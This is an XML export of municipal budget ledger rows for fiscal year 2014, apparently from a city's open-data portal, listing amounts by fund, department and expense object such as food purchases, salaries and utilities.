<row _id="6792"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>544740.0</object><object_description>ARTIST FELLOWSHIPS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>60500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>60500.0</total></row>
<row _id="6793"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20500.0</total></row>
<row _id="6794"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="6795"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3200.0</total></row>
<row _id="6796"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2051.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2051.0</total></row>
<row _id="6797"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1410.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1410.0</total></row>
<row _id="6798"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>579290.0</object><object_description>UTILITIES BILLING SERVICES</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>308479.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>308479.0</total></row>
<row _id="6799"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>406980.0</object><object_description>PBAD ASSESSMENT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-32981.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-32981.0</total></row>
<row _id="6800"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1700383.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1700383.0</total></row>
<row _id="6801"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1080.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1080.0</total></row>
<row _id="6802"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4203.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4203.0</total></row>
<row _id="6803"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>523.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>523.0</total></row>
<row _id="6804"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>556010.0</object><object_description>UTILITY CONTRACTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>273166.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>273166.0</total></row>
<row _id="6805"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>555200.0</object><object_description>REIMBURSE ENGINEERING OFFICE</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3185.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3185.0</total></row>
<row _id="6806"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>401662.0</object><object_description>ASSFC PASS-THRU</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-200000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-200000.0</total></row>
<row _id="6807"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2381.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2381.0</total></row>
<row _id="6808"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>750.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>750.0</total></row>
<row _id="6809"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2196.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2196.0</total></row>
<row _id="6810"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>103.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>103.0</total></row>
<row _id="6811"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404082.0</object><object_description>INTEREST - PROP 1B-BUSES</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-43430.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-43430.0</total></row>
<row _id="6812"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>25013.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25013.0</total></row>
<row _id="6813"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>26071.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26071.0</total></row>
<row _id="6814"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1046.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1046.0</total></row>
<row _id="6815"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6273.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6273.0</total></row>
<row _id="6816"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9600.0</total></row>
<row _id="6817"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>406981.0</object><object_description>PYMT-PBAD ASSESSMENTS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6818"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>313.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>313.0</total></row>
<row _id="6819"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>17000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17000.0</total></row>
<row _id="6820"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2014.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2014.0</total></row>
<row _id="6821"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>655.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>655.0</total></row>
<row _id="6822"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>24276.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24276.0</total></row>
<row _id="6823"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>104.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>104.0</total></row>
<row _id="6824"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>59487.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>59487.0</total></row>
<row _id="6825"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>408.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>408.0</total></row>
<row _id="6826"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>934.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>934.0</total></row>
<row _id="6827"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544200.0</object><object_description>SPORTS SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="6828"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6829"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6830"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>522116.0</object><object_description>UTIL-LIGHT/POWER-CIVIC PARKING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6831"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6832"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6833"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>577110.0</object><object_description>PAYMENTS TO RENT CONTROL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="6834"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>407210.0</object><object_description>EVENT PERMIT FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-8716.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-8716.0</total></row>
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<row _id="6867"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6500.0</total></row>
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<row _id="6875"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-1504.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1504.0</total></row>
<row _id="6876"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-15612.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-15612.0</total></row>
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<row _id="6878"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>402510.0</object><object_description>COMM &amp; TRIBUTE PROG</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-25000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-25000.0</total></row>
<row _id="6879"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>555350.0</object><object_description>COMM &amp; TRIBUTE PROGRAM</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
